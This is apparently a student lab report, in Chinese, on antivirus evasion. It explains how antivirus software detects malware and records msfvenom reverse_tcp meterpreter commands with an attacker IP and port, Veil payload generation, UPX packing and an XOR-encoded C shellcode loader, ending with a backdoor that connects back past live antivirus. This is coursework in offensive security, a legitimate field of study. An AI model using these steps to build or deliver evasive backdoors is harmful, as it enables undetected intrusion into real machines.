《网络与系统攻防技术》实验三 免杀原理与实践

实验内容

  1. 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程
  2. 通过组合应用各种技术实现恶意代码免杀
  3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

实验要求

  • 掌握免杀原理与技术

  • 回答问题
    杀软是如何检测出恶意代码的?

    1. 基于特征码的检测
      恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码
    2. 启发式恶意软件检测
      根据部分片面特征去推断,如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序
    3. 基于行为检测
      通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。

    免杀是做什么?
    免杀就是使得恶意软件不被杀毒软件查杀,二者能够共存
    免杀的基本方法有哪些?
    1.改变特征码(改变样子)

    • 如果只有exe文件:可以进行加壳——包括压缩壳、加密壳等
    • 如果还有shellcode(如Meterpreter):
      • 可以使用encode进行编码,改变他原本的特征码
      • 基于payload重新编译生成可执行文件。例如上次Exp2中重新写入另一个可执行文件,这样就不会有本身的特征,而会变得更像另一个文件
    • 如果还有源代码:
      • 可以使用其他语言重写再编译。例如python是一种跨平台的语言,可以进行重写然后编译,特征码会改变

    从上到下的三种方法,越往下有的东西越多就越好做。

    2.改变行为

    • 通讯方式
      • 尽量使用反弹式连接,让被攻击机连接攻击机
      • 使用隧道技术
      • 加密通讯数据,杀软无法解密,也就无法检测了
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

实验过程

任务一 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  1. 用Virus Total检测实验二中生成的后门文件

  1. 使用msf编码器生成.exe文件,并用Virus Total检测

  1. 使用msf编码器生成.jar文件,并用Virus Total检测

  1. 使用msf编码器生成.php文件,并用Virus Total检测

  1. 使用msfvenom生成如py文件,并用Virus Total检测

任务二 使用veil生成后门文件并对后门文件进行加壳处理

  1. 安装veil

  1. 输入use evasion命令进入Evil-Evasion,输入命令 use c/meterpreter/rev_tcp.py 进入配置界面

  1. 配置本地ip和端口(虚拟机的IP和端口),使用options命令查看配置情况,使用selected命令

  1. 使用generated命令生成文件,文件名自拟

  1. 根据图示路径找到我们生成的文件,并用Virus Total检测

  1. 用UPX对后门文件加壳,并用Virus Total检测

任务三 使用C + shellcode编程

  1. 使用msf生成shellcode数组, msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=8086 -f c

  1. 新建20192412gkwMS1.c,并编辑

  1. 编译C程序,并检测

任务四 通过组合应用各种技术实现恶意代码免杀

采用“C+Shellcode[异或]”实现免杀

  1. 先用msf生成一段shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=8086 -f c(使用的是任务3已经生成的shellcode也可以重新生成)
  2. 使用编程手段实现shellcode异或0x01

  1. 新建20192412gkwMS3.c,并编辑

  1. 编译C程序,并检测(只展示编译结果以及和杀软共生,过程详见任务三)

使用UPX加壳,进一步实现免杀,并检测

任务五 用另一电脑实测,在杀软开启的情况下,可运行并回连成功

  1. 输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=172.16.209.66 lport=10000 -f raw -o 20192412gkwMSlast.raw 生成恶意程序(本次实验采用端口转发方式来完成,因此ip为主机ip不是虚拟机的ip,端口同理为主机的端口)

  1. 设置虚拟网络编辑器实现端口转发(或者使用“桥接模式”,对应的第一步直接使用虚拟机ip和端口即可)

  1. 传输进入对方电脑后用火绒安全进行扫描,未发现该威胁

  1. 在杀软开启的情况下,可运行并回连成功

  1. 电脑的杀软名称与版本

问题及解决方案

问题1:安装evil失败(unable to access 'https://github.com/.../.git': failed to connet to github.com)

解决方案:该问题为git提交报错,使用命令取消域名代理即可

git config --global --unset http.proxy
git config --global --unset https.proxy

问题2:任务四加壳以后能查杀出来的杀软更多了

解决方案:加壳以后会产生某些特定的壳文件,导致某些本无法查杀出来软件在扫描到壳文件后直接将该文件当作恶意代码,没起到免杀作用反而更容易被查杀,不是组合的免杀方法越多,免杀效果越好。

问题3:任务五对方电脑无法连接到虚拟机

解决方案:将虚拟机设置成桥接模式或者使用端口转发。

  • 桥接模式,虚拟机通过使用物理机网卡具有单独ip,就像是局域网中的一台独立的主机,它可以访问网内任何一台机器。
  • 端口转发,虚拟机通过主机来进行对外通信。

学习感悟、思考

通过本次实验我学到了很多免杀相关的知识,在实践中能力得到了进一步的成长。通过自己动手,编译出了“可以不用关防火墙,不用关杀软的恶意文件”,获得了极大的成就感,并进一步感觉到了网络中防御的脆弱,和来自各方面的安全威胁。通过两次实验的积累,不超过10个小时的时间,利用这些强大的工具,像我这种小白都能够有如此突破性的进展,细思极恐。压力同样也是动力,我们只有更加深入的了解恶意代码免杀的原理,才能进行针对性的布控,进一步保障网络安全,隐私安全。这次实验同样让我熟悉了很多新的工具,或者老工具的新用法,甚至让我们自由组合,充分刺激了我的学习积极性和主动性。通过实践检验,不是复合的免杀手法越多就越高明,越难被查杀,关键还在于杀软的判定规则。仰之弥高,钻之弥坚,一入网空深似海,更多相关知识还有我们待进一步的了解和认识,路漫漫其修远兮,我们才刚刚跨出了万里长征的第一步,以后还需保持谦虚谨慎,不骄不躁的作风,进行更加深入的学习和实践。